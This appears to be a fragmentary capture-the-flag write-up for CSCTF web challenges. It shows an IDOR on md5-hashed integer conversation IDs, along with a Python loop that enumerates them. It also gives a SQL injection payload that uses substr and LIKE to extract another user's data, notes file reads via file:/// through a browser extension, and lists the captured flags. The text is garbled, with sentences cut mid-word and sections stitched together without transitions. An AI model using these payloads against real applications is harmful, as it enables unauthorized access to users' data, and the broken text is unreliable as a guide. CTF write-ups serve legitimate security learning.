Hack. Eat. Sleep. Repeat!!!
CSCTF{r0le_manag3d_vi4_localStorage_1s_b4d}md5 to hash an integer and passes it to endpoint /load_conversation to load conversations.The code snippet is vulnerable to IDOR.The mode of creating IDs is weak and can easily be replicated leading to access to other users’ conversations.unction loadConversation(conversationId) {
currentConversationId = md5sum(conversationId.toString());
fetch(`/load_conversation`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ conversation_id: currentConversationId })
})
.then(response => response.json())
.then(data => {
const chatBox = document.getElementById('chat-box');
chatBox.innerHTML = '';
>>> import hashlib
>>> for i in range(100): print(hashlib.md5(str(i).encode()).hexdigest())
CSCTF{y0u_c4n7_h1d3_fr0m_1D0R}sqlite_version() but I was able to read the flag by matching for data(sender column) that starts with l.I was trying to match LazyTitan because that user seems to hold the flag for the chatbot challenges.The main idea is that the statement only allow you to read columsn only from that table.We can do that with the substr() sqlite3 function and then match characters with LIKE.Matching sender LazyTitan seems to spit out the flag but since we specified postion substr(sender,1,1), we’ll match only L.Payload-:{"conversation_id":"e3354de4-b91b-4e9f-8e10-f0157210bfed' or substr(sender,1,1) like '%L%'--+"}
CSCTF{H4ck3d_V14_SqL_1nj3ct10n}file:/// protocol in the first tabs and not other tabs.importing bookmarks functinality that allows us to import bookmarks on firefox.I can use this to spot important files to read.other files/app/embed_flag.py-:CSCTF{1ntricat3_ext3nsi0n_wIth_m@LiciOu$_iNt3nt}